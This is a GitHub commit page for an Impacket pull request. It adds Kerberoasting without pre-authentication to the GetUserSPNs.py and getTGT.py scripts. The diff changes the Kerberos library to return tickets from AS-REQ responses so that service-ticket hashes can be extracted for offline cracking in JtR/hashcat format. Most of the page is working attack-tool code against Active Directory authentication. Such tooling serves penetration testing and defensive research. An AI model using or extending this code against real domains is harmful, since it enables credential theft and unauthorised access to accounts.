Skip to content

Commit

Permalink
Merge pull request #39 from ShutdownRepo/getuserspns-nopreauth
Browse files Browse the repository at this point in the history
Support for Kerberoasting without pre-authentication and ST request through AS-REQ
  • Loading branch information
ShutdownRepo authored Sep 28, 2022
2 parents 6760d69 + af7967c commit 4f6ae8b
Show file tree
Hide file tree
Showing 3 changed files with 76 additions and 33 deletions.
84 changes: 57 additions & 27 deletions examples/GetUserSPNs.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.asn1 import TGS_REP, AS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
Expand Down Expand Up @@ -78,6 +78,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption
self.__targetDomain = target_domain
self.__lmhash = ''
self.__nthash = ''
self.__preauth = cmdLineOptions.preauth
self.__outputFileName = cmdLineOptions.outputfile
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
Expand Down Expand Up @@ -172,9 +173,11 @@ def getTGT(self):

return TGT

def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
if self.__preauth:
decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
else:
decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
# According to RFC4757 (RC4-HMAC) the cipher part is like:
# struct EDATA {
# struct HEADER {
Expand Down Expand Up @@ -239,7 +242,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.fromTGS(ticket, oldSessionKey, sessionKey)
ccache.saveFile('%s.ccache' % username)
except Exception as e:
logging.error(str(e))
Expand Down Expand Up @@ -418,31 +421,56 @@ def request_users_file_TGSs(self):
self.request_multiple_TGSs(usernames)

def request_multiple_TGSs(self, usernames):
# Get a TGT for the current user
TGT = self.getTGT()

if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
if self.__preauth:
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for username in usernames:
try:
preauth_pincipal = Principal(self.__preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=preauth_pincipal,
password=self.__password,
domain=self.__domain,
lmhash=(self.__lmhash),
nthash=(self.__nthash),
aesKey=self.__aesKey,
kdcHost=self.__kdcHost,
service=username)
self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()
else:
fd = None
# Get a TGT for the current user
TGT = self.getTGT()

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()
if fd is not None:
fd.close()


# Process command-line arguments.
Expand All @@ -456,6 +484,8 @@ def request_multiple_TGSs(self, usernames):
parser.add_argument('-target-domain', action='store',
help='Domain to query/request if different than the domain of the user. '
'Allows for Kerberoasting across trusts.')
parser.add_argument('-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'
' through the AS')
parser.add_argument('-usersfile', help='File with user per line to test')
parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them '
'in JtR/hashcat format (default False)')
Expand Down
13 changes: 10 additions & 3 deletions examples/getTGT.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ def __init__(self, target, password, domain, options):
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__service = options.service
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')

Expand All @@ -55,9 +56,14 @@ def saveTicket(self, ticket, sessionKey):

def run(self):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName,
password = self.__password,
domain = self.__domain,
lmhash = unhexlify(self.__lmhash),
nthash = unhexlify(self.__nthash),
aesKey = self.__aesKey,
kdcHost = self.__kdcHost,
service = self.__service)
self.saveTicket(tgt,oldSessionKey)

if __name__ == '__main__':
Expand All @@ -80,6 +86,7 @@ def run(self):
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-service', action='store', metavar="SPN", help='Request a Service Ticket directly through an AS-REQ')

if len(sys.argv)==1:
parser.print_help()
Expand Down
12 changes: 9 additions & 3 deletions impacket/krb5/kerberosv5.py
Original file line number Diff line number Diff line change
Expand Up @@ -92,7 +92,7 @@ def sendReceive(data, host, kdcHost):

return r

def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True):
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, service=''):

# Convert to binary form, just in case we're receiving strings
if isinstance(lmhash, str):
Expand All @@ -114,7 +114,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
asReq = AS_REQ()

domain = domain.upper()
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if service == '':
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
else:
serverName = Principal(service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
Expand Down Expand Up @@ -339,7 +342,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
# probably bad password if preauth is disabled
if preAuth is False:
error_msg = "failed to decrypt session key: %s" % str(e)
raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
# Commenting error below in order to return tgt, so that Kerberoast through AS-REQ can be conducted
# raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText))
return tgt, None, key, None
raise
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]

Expand Down

0 comments on commit 4f6ae8b

Please sign in to comment.